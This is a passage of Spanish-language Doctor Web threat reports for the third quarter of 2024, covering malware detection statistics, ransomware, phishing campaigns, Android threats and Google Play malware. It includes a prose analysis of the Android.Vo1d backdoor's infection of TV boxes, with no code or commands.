JS.Siggen5.44590: Un código malicioso añadido a la biblioteca pública JavaScript es5-ext-main. Visualiza un mensaje determinado si el paquete está instalado en un servidor con el huso horario de ciudades rusas.
Trojan.StartPage1.62722: Un malware que suplanta la página de inicio en la configuración del navegador.
Adware.Ubar.20: Un cliente Torrent que instala software no deseado en el dispositivo.

Estadísticas de malware en el tráfico de correo

JS.Siggen5.44590: Un código malicioso añadido a la biblioteca pública JavaScript es5-ext-main. Visualiza un mensaje determinado si el paquete está instalado en un servidor con el huso horario de ciudades rusas.
JS.Inject: Una familia de scripts maliciosos creados en lenguaje JavaScript. Incrustan un script malicioso en el código HTML de las páginas web.
LNK.Starter.56: Detección de un acceso directo creado a propósito que se difunde a través de las unidades extraíbles y para engañar a usuarios tiene icono de unidad. Al abrir el mismo, se inician los scripts VBS maliciosos del catálogo oculto ubicado en la misma unidad que el acceso directo.
W97M.DownLoader.6154: Una familia de troyanos descargadores que usan las vulnerabilidades de los documentos Microsoft Office. Sirven para descargar otro malware al equipo atacado.
Trojan.AutoIt.1410: Detección de la versión comprimida del programa troyano Trojan.AutoIt.289 creado en lenguaje script AutoIt. Se difunde como parte del grupo de varios tipos de malware ― un miner, un backdoor y un módulo para la difusión autónoma. Trojan.AutoIt.289 realiza varias acciones maliciosas que dificultan la detección de la carga útil básica.

Cifradores

En el III trimestre del año 2024 el número de solicitudes para descifrar archivos afectados por los programas cifradores troyanos bajó un 15,73% comparado con el II trimestre.

Dinámica de solicitudes para descifrar al servicio de soporte técnico Doctor Web:

Los encoders más difundidos del III trimestre:

Trojan.Encoder.35534 — 19.38%
Trojan.Encoder.3953 — 9.42%
Trojan.Encoder.38200 — 3.99%
Trojan.Encoder.26996 — 2.89%
Trojan.Encoder.35067 — 2.72%

Estafas en la red

Durante el III trimestre del año 2024 los estafadores de Internet continuaron distribuyendo los mensajes electrónicos de spam con enlaces a varios sitios web phishing. Por ejemplo, los usurarios rusos otra vez afrontaron los mensajes supuestamente enviados en nombre de las tiendas en Internet populares. En algunos se les ofrecía participar en un sorteo de premios o recibir un regalo. Al seguir los enlaces de estos mensajes, las víctimas potenciales se veían en los sitios web de estafa donde para «recibir» algún premio o ganancia tenían que pagar una comisión.

Los estafadores supuestamente en nombre de una tienda en línea ofrecen a la víctima potencial «recibir una ganancia» de 208 760 rublos

En otros mensajes a los usuarios supuestamente se les esperaba un descuento para comprar los artículos en una tienda importante de artículos electrónicos. Los enlaces de estos mensajes llevaban a un sitio web de estafa diseñado como un recurso de Internet real de la plataforma. Al formalizar un «pedido» en el mismo, las víctimas potenciales tenían que indicar los datos personales, así como los datos de la tarjeta bancaria.

Un mensaje de estafa que propone «activar un código promo» para comprar los artículos electrónicos

El spam de tema financiero sigue siendo popular entre los estafadores. Así, los malintencionados enviaban los mensajes no deseados para «confirmar» la recepción de las transferencias de dinero importantes. Un ejemplo de un mensaje así cuyo objetivo son los usuarios de habla inglesa puede consultarse más abajo. El enlace del mismo llevaba a un formulario phishing para entrar en la cuenta del cliente bancario cuyo diseño recuerda el mismo en un sitio web real de la empresa de crédito.

Un usuario supuestamente debe confirmar la recepción de 1218,16 USD

Un sitio web phishing del banco presentado por los estafadores como un sitio web real

Entre los mensajes no deseados destinados para los usuarios japoneses nuestros expertos detectaron más notificaciones falsificadas de empresas de crédito — por ejemplo, con la información sobre los gastos mensuales de la tarjeta bancaria. En uno de estos mensajes los estafadores ocultaron el enlace al sitio web phishing: en el texto del mensaje los usuarios veían los enlaces a las direcciones reales del sitio web del banco, pero las mismas, al ser pulsadas, llevaban a un recurso en Internet de estafa.

Todos los enlaces del mensaje en realidad llevan a un sitio web phishing

Los usuarios de habla francesa (así mismo, de Bélgica) afrontaron los mensajes phishing que les informaban sobre el «bloqueo» de sus cuentas bancarias. Para «desbloquearlas» tenían que seguir un enlace que realmente llevaba al sitio web de los estafadores.

Los estafadores asustan a la víctima potencial con una cuenta bancaria «bloqueada»

Y entre los usuarios rusos otra vez se difundió activamente el spam de correo donde a las víctimas potenciales supuestamente en nombre de los bancos conocidos se les ofrecía ser inversores. Los enlaces en estos mensajes no deseados llevan a los sitios web de estafa donde a los usuarios se les solicitan los datos personales camuflados por acceso a los servicios de inversión.

Al usuario supuestamente en nombre del banco se le ofrece hacer una prueba y ser inversor

Además, los analistas de Internet de Doctor Web detectaron nuevos sitios web phishing destinados a los titulares de criptomonedas. Así, en uno de ellos a los usuarios supuestamente en nombre de una criptobolsa importante se les informaba sobre una transferencia de Bitcoin no recibida. Para «finalizar» la transacción a las víctimas potenciales se les ofrecía pagar una “comisión”. Por supuesto, los usuarios no recibían ninguna criptomoneda, los mismos solamente les ofrecían sus propios activos a los estafadores.

Un sitio web de estafa informa que un usuario supuestamente tiene una transferencia Bitcoin no recibida

Además, fueron recibidos los sitios web phishing que imitaban el diseño de la red social «VKontakte». A sus visitantes se les proponía participar en algún sorteo de premios, al abrir para el mismo varias cajas virtuales con regalos. En cuanto las víctimas potenciales abrían las cajas “correctas” y supuestamente ganaban bastante dinero, el sitio web les proponía pagar una comisión para recibir la «ganancia».

Un sitio web de estafa les ofrece a los usuarios «tentar la suerte»

Un usuario supuestamente ganó un premio de 194 562 RUB

Conozca más sobre los sitios web no recomendados por Dr.Web

Malware y software no deseado para dispositivos móviles

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles, en el III trimestre del año 2024 en los dispositivos protegidos con mayor frecuencia se detectaba malware Android.FakeApp usado por los malintencionados en varios esquemas de estafa. Los segundos en cuanto a la difusión fueron los troyanos adware Android.HiddenAds. los terceros fueron los troyanos Android.Siggen.

Durante el periodo pasado nuestros expertos detectaron múltiples nuevas amenazas en el catálogo Google Play. Entre las mismas — varias opciones de troyanos Android.FakeApp y Android.HiddenAds. Además, fue registrado un ataque a las consolas TV con SO Android— el backdoor Android.Vo1d infectó unos 1 300 000 dispositivos de usuarios de 197 países. Colocaba sus componentes en un área de sistema de consolas y por comando de malintencionados pudo descargar e instalar software de terceros de forma ilegal.

Los eventos más destacados vinculados a la seguridad «móvil» en el III trimestre:

Detección de un backdoor Android.Vo1d que infectó más de un millón de consolas TV
Alta actividad de malware Android.FakeApp
Alta actividad de troyanos adware Android.HiddenAds,
Aparición de nuevas amenazas en el catálogo Google Play.

Para más información sobre los eventos de virus para dispositivos móviles en el III trimestre del año 2024, consulte nuestro informe.

Doctor Web: informe de la actividad de virus para dispositivos móviles en el III trimestre de 2024

Tue, 01 Oct 2024 00:00:00 GMT

1 de octubre de 2024

Según los datos estadísticos de detecciones de Dr.Web Security Space para dispositivos móviles en el III trimestre del año 2024 en los dispositivos protegidos con mayor frecuencia se detectaba malware Android.FakeApp usado por los malintencionados en varios esquemas de estafa. En el segundo lugar observamos adware troyano Android.HiddenAds. Los terceros fueron los representantes de la familia Android.Siggen — son programas de funcionalidad nociva de varios tipos difíciles de ser clasificados para formar parte de alguna familia en concreto.

En agosto los expertos de Doctor Web detectaron un backdoor Android.Vo1d que infectó casi 1 300 000 consolas TV con SO Android de usuarios de 197 países. Este malware coloca sus componentes en el área de sistema del dispositivo y por comando de los malintencionados puede descargar e instalar varias aplicaciones de forma no autorizada.

Así mismo, nuestros analistas de virus otra vez detectaron amenazas en el catálogo Google Play. Entre las mismas hobo múltiples nuevos programas falsificados, y también varios tipos de adware troyano a la vez.

TENDENCIAS CLAVE DEL III TRIMESTRE

El backdoor Android.Vo1d infectó más de un millón de consolas TV
Alta actividad de malware Android.FakeApp aplicado para estafas
Alta actividad de adware troyano Android.HiddenAds
Aparición del nuevo malware en el catálogo Google Play

Según los datos de los productos antivirus Dr.Web para Android

Android.FakeApp.1600: Un programa troyano que abre el sitio web indicado en su configuración, Las modificaciones conocidas de este malware abren el sitio web del casino el línea.
Android.HiddenAds.3994: Un programa troyano para visualizar publicidad importuna. Los representantes de la familia Android.HiddenAds se difunden con frecuencia camuflados por aplicaciones legales y en algunos casos se instalan en el catálogo de sistema por otro malware. Al penetrar en los dispositivos en Android, estos troyanos adware suelen ocultar al usuario su propia presencia en el sistema — por ejemplo, «ocultan» el icono de la aplicación del menú de la ventana principal.
Android.MobiDash.7815
Android.MobiDash.7813: Los programas troyanos que visualizan publicidad importuna. Son módulos de software incrustados en las aplicaciones por los desarrolladores de software.
Android.Click.1751: Un troyano incrustado en las modificaciones del Messenger WhatsApp que se camufla por clases de bibliotecas de Google. Durante el uso de la aplicación portadora de Android.Click.1751 crea solicitudes al uno de los servidores de control. En respuesta, el troyano recibe dos enlaces, uno de los cuales sirve para los usuarios de habla rusa, y el otro para todos los demás. Luego visualiza una ventana de diálogo con el contenido recibido del servidor y una vez pulsado el botón de confirmación por el usuario abre el enlace correspondiente en el navegador.

Program.FakeMoney.11: Detección de aplicaciones que supuestamente permiten ganar dinero al realizar alguna acción o tarea. Estos programas, imitan el abono de premios, además, para poder usar el dinero “ganado” hay que acumular un importe determinado. Normalmente suelen tener una lista de sistemas de pago populares y bancos a través de los cuales supuestamente se puede transferir los premios. Pero hasta si los usuarios consiguen acumular el importe suficiente para poder usarlo, no reciben los pagos prometidos. Con esta entrada también se detecta otro software no deseado basado en el código de estos programas.
Program.CloudInject.1: Detección de aplicaciones en Android modificadas con el servicio en la nube CloudInject y la utilidad en Android del mismo nombre (añadido a la base de virus Dr.Web como Tool.CloudInject). Estos programas se modifican en un servidor remoto, así mismo, el usuario interesado en su modificación (modder) no controla qué exactamente será incrustado en los mismos. Además, las aplicaciones reciben un conjunto de permisos peligrosos. Una vez modificados los programas, el modder puede controlarlos a distancia — bloquearlos, visualizar los diálogos personalizados, supervisar el hecho de instalación y desinstalación de otro software etc.
Program.FakeAntiVirus.1: Detección de adware que imita el funcionamiento de software antivirus. Estos programas pueden informar sobre las amenazas no existentes y engañar a usuarios al requerir el pago de la versión completa.
Program.SecretVideoRecorder.1.origin: Detección de varias versiones de la aplicación para la grabación de fotos y vídeos en segundo plano a través de las cámaras incrustadas de dispositivos en Android. Este programa puede funcionar de forma no autorizada, al permitir desactivar las notificaciones sobre la grabación, y también modificar el ícono y la descripción de la aplicación por los falsos. Esta funcionalidad lo convierte en potencialmente peligroso.
Program.TrackView.1.origin: Detección de la aplicación que permite supervisar a usuarios a través de dispositivos en Android. Con este programa los malintencionados pueden detectar la ubicación de dispositivos objetivos, usar la cámara para grabar los vídeos y crear fotos, hacer la escucha a través del micro, crear grabaciones de audio etc.

Tool.Packer.1.origin: Una utilidad comprimidora especializada para proteger las aplicaciones en Android contra la modificación y la ingeniería inversa. No es maliciosa, pero puede ser usada para proteger tanto los programas legales como troyanos.
Tool.SilentInstaller.17.origin: Una plataforma potencialmente peligrosa que permite a las aplicaciones iniciar los archivos APK sin instalar los mismos. Esta plataforma crea un entorno de ejecución virtual en contexto de aplicaciones donde los mismos están incrustados. Los archivos APK iniciados con las mismas pueden funcionar como si formaran parte de estos programas y recibir los mismos permisos de forma automática
Tool.NPMod.1
Tool.NPMod.2: Detección de aplicaciones en Android modificadas con la utilidad NP Manager. Estos programas tienen incrustado un módulo especial que permite esquivar la comprobación de la firma digital una vez modificados.
Tool.LuckyPatcher.1.origin: Una utilidad que permite modificar las aplicaciones en Android instaladas (crear los parches para las mismas) para modificar su lógica de funcionamiento o esquivar alguna restricción. Por ejemplo, con la misma los usuarios pueden intentar desactivar la comprobación del acceso root en programas bancarios o recibir los recursos ilimitados en los juegos. Para crear los parches la utilidad descarga de Internet los scripts preparados a propósito que pueden ser creados y añadidos a la base común por cualquier interesado. La funcionalidad de estos scripts así mismo puede resultar maliciosa, por lo tanto, los parches creados pueden ser de peligro potencial.

Adware.ModAd.1: Detección de algunas versiones modificadas (mods) del messenger WhatsApp, cuyas funciones tienen incrustado un código para cargar los enlaces establecidos a través de la visualización web durante el trabajo con el messenger. Desde estas direcciones de Internet se redirige a los sitios web publicitados, por ejemplo, de casinos en línea y corredores de apuestas, sitios web para adultos.
Adware.Basement.1: Las aplicaciones que visualizan publicidad no deseada que frecuentemente lleva a los sitios web maliciosos y de estafa. Tiene una base de código común con programas no deseados Program.FakeMoney.11.
Adware.Fictus.1.origin: Un módulo de publicidad incrustado por los malintencionados en las versiones clones de juegos en Android populares y programas. Su integración en los programas se realiza con un comprimidor especial net2share. Las copias de software creadas de esta forma se difunden a través de varios catálogos de aplicaciones y visualizan varios tipos de publicidad una vez instaladas.
Adware.Adpush.21846
Adware.AdPush.39.origin: Los módulos de publicidad que pueden ser integrados en programas en Android. Visualizan las notificaciones de publicidad que engañan a usuarios. Por ejemplo, estas notificaciones pueden ser similares a mensajes del sistema operativo. Adema´s, estos módulos recopilan algunos datos privados y también pueden descargar otras aplicaciones e iniciar su instalación.

Amenazas en Google Play

En el III trimestre del año 2024 los analistas de virus de Doctor Web continuaron detectando amenazas en el catálogo Google Play. Entre las mismas, hubo múltiples nuevos programas falsificados Android.FakeApp difundidos camuflados por varios tipos de software. Una parte de las mismas fue presentada por los malintencionados como programas del sector financiero — las aplicaciones para inversiones, los manuales de finanzas, variaciones de contabilidad de hogar, etc. Algunas de ellas realmente disponían de funcionalidad declarada, pero su tarea básica era abrir los sitios web de estafa. En los mismos, a las víctimas potenciales se les promete ganar dinero rápido y fácilmente al invertir en participaciones, vender las materias primas, la criptomoneda etc. A los usuarios para acceder al “servicio” se les propone registrar la cuenta o formalizar una solicitud para participar, al indicar los datos personales.

Cabe destacar que un troyano Android.FakeApp fue presentado por los malintencionados como un programa para citas online y comunicación, pero el mismo también cargaba un sitio web de estafa con “inversiones”.

Otros troyanos Android.FakeApp otra vez se difundían camuflados por juegos. En determinadas condiciones abrían los sitios web de casinos en línea y de corredores de apuestas.

Entre los programas falsificados nuestros expertos detectaron también algunas nuevas variantes de troyanos que se camuflan por herramientas para buscar empleo. Este malware carga las listas de ofertas de trabajo falsificadas y proponen a las víctimas potenciales a ponerse en contacto con el empleador a través del messenger (en realidad no es ningún “empleador” sino un estafador) o crear un “currículum vitae” al indicar los datos personales.

Los analistas de virus de Doctor Web también detectaron en Google Play otros troyanos de la familia Android.HiddenAds que ocultan sus iconos en el menú de la pantalla principal y empiezan a visualizar publicidad importuna. Se camuflaban por aplicaciones de varios tipos — recopilaciones de imágenes, editores de fotos, escáneres de códigos de barra.

Para proteger los dispositivos en Android contra malware o software no deseado recomendamos a los usuarios instalar los productos antivirus Dr.Web para Android.

Indicadores de compromiso

Void se ha hecho con un millón de consolas TV en Android

Thu, 12 Sep 2024 00:00:00 GMT

12 de septiembre de 2024

Los expertos de Doctor Web detectaron un nuevo caso de infección de consolas TV a base de Android. Un malware llamado Android.Vo1d infectó casi 1 300 000 dispositivos de usuarios de 197 países. Es un backdoor que coloca sus componentes en el área de sistema y por comando de los malintencionados puede descargar e instalar software de terceros de forma no autorizada.

En agosto del año 2024 la empresa Doctor Web fue contactada por varios usuarios en cuyos dispositivos el antivirus Dr.Web detectó cambios en el área de archivos de sistema. Pasó con los modelos siguientes:

Modelo de consola TV	Versión de firmware declarada
R4	Android 7.1.2; R4 Build/NHG47K
TV BOX	Android 12.1; TV BOX Build/NHG47K
KJ-SMART4KVIP	Android 10.1; KJ-SMART4KVIP Build/NHG47K

En todos los casos las características de infección eran parecidas, por lo tanto, serán descritas a base de un ejemplo de una de las primeras solicitudes. En la consola TV afectada por el troyano fueron modificados los siguientes objetos:

install-recovery.sh
daemonsu

Además, en el sistema de archivo aparecieron 4 nuevos archivos:

/system/xbin/vo1d
/system/xbin/wd
/system/bin/debuggerd
/system/bin/debuggerd_real

Los archivos vo1d y wd — son los componentes del troyano detectado por nosotros Android.Vo1d.

Los autores del troyano, probablemente, intentaron camuflar uno de sus componentes por un programa de sistema /system/bin/vold, al llamarlo con un nombre parecido «vo1d». El malware fue llamado por nombre de este archivo. Así mismo, este nombre escrito parece a la palabra «void» (vacío en inglés).

El archivo install-recovery.sh — es un script que está presente en la mayoría de dispositivos en Android. Se inicia al iniciar el sistema operativo y contiene datos para el autoinicio de los elementos indicados en el mismo. Si algún malware tiene acceso root y posibilidad de escritura en el catálogo de sistema /system, puede fijarse en un dispositivo infectado, al añadir a sí mismo a este script (o al crearlo si el mismo no existe en el sistema). Android.Vo1d escribió en el mismo un autoinicio del componente wd.

Archivo modificado install-recovery.sh

El archivo daemonsu existe en muchos dispositivos en Android con acceso root. Se inicia por el sistema al arrancar y se encarga de proporcionar los privilegios root al usuario. Android.Vo1d escribió a sí mismo también en este archivo, al configurar el autoinicio del módulo wd.

El archivo debuggerd es un demonio que suele ser aplicado para crear informes de errores. Pero al infectar la consola TV este archivo fue suplantado por un script que inicia el componente wd.

El archivo debuggerd_real en este caso es una copia del script por el cual fue suplantado el archivo real debuggerd. Los expertos de Doctor Web opinan que según el diseño de los autores del troyano debuggerd inicial debe ser movido a debuggerd_real para seguir funcionando. Pero como la infección, probablemente, se produjo dos veces, el troyano movió el archivo ya suplantado (es decir, el script). Como resultado en el dispositivo hubo dos scripts del troyano y ningún archivo real del programa debuggerd.

Al mismo tiempo los demás usuarios que nos contactaron tenían otro conjunto de archivos en dispositivos infectados:

daemonsu (archivo análogo vo1d — Android.Vo1d.1);
wd (Android.Vo1d.3);
debuggerd (similar al script descrito más arriba);
debuggerd_real (archivo original de la utilidad debuggerd);
install-recovery.sh (un script que asegura la carga de los objetos indicados en el mismo).

El estudio de todos estos archivos demostró que para fijar Android.Vo1d en el sistema, sus creadores usaron como mínimo tres métodos distintos — modificación de archivos install-recovery.sh y daemonsu, así como la suplantación del programa debuggerd. Posiblemente, pensaban que en el sistema infectado estaría por lo menos uno de los archivos objetivo porque las manipulaciones hasta con uno de ellos aseguraría un autoinicio correcto del troyano para los reinicios posteriores del dispositivo.

La funcionalidad básica de Android.Vo1d está oculta en sus componentes vo1d (Android.Vo1d.1) y wd (Android.Vo1d.3) que funcionan como un conjunto. El módulo Android.Vo1d.1 se encarga del inicio de Android.Vo1d.3 y controla su actividad, al reiniciar el proceso en caso necesario. Así mismo, por comando del servidor de control puede descargar e iniciar los archivos ejecutables. A su vez, el módulo Android.Vo1d.3 instala en el dispositivo e inicia el demonio cifrado en su cuerpo (Android.Vo1d.5) que también puede descargar e iniciar los archivos ejecutables. Además, supervisa la aparición de archivos APK de aplicaciones en los catálogos establecidos y los instala.

La investigación realizada por los analistas de virus de Doctor Web demostró que el backdoor Android.Vo1d infectó unos 1 300 000 dispositivos, y su alcance de difusión es casi de 200 países. El mayor número de infecciones se detectó en Brasil, Marruecos, Pakistán, Arabia Saudí, Rusia, Argentina, Ecuador, Túnez, Malasia, Argelia e Indonesia.

Países con el mayor número de dispositivos infectados detectados

La posible causa de que el objetivo de los malintencionados que difundieron Android.Vo1d eran las consolas TV es que estos dispositivos funcionan con frecuencia a base de versiones obsoletas de Android donde no están corregidas las vulnerabilidades y para las cuales ya no se producen actualizaciones. Por ejemplo, los modelos de los usuarios que nos contactaron funcionan a base de Android 7.1 , aunque para algunos de ellos en la configuración están indicadas las versiones mucho más nuevas — Android 10 y Android 12. Lamentablemente, eso pasa muchas veces: los productores de dispositivos económicos usan las antiguas versiones de SO y las presentan como más nuevas para mejorar su atracción.

Además, los usuarios por error pueden considerar que las consolas TV son dispositivos más protegidos comparado con smartphones. Por lo tanto, pueden instalar el antivirus en los mismos con menos frecuencia y corren el riesgo de afrontar malware al descargar aplicaciones de terceros o instalar firmware no oficial.

Actualmente la fuente de infección de consolas por backdoor sigue siendo desconocido. Uno de los vectores posibles puede ser un ataque de un software intermediario que usa las vulnerabilidades del sistema operativo para recibir los permisos root. Otro puede ser el uso de versiones no oficiales de firmware con acceso root.

Dr.Web Security Space para móviles detecta correctamente todas las variantes conocidas del troyano Android.Vo1d y si hay acceso root desinfecta los dispositivos infectados.

Indicadores de compromiso

Más información sobre Android.Vo1d.1

Más información sobre Android.Vo1d.3

Más información sobre Android.Vo1d.5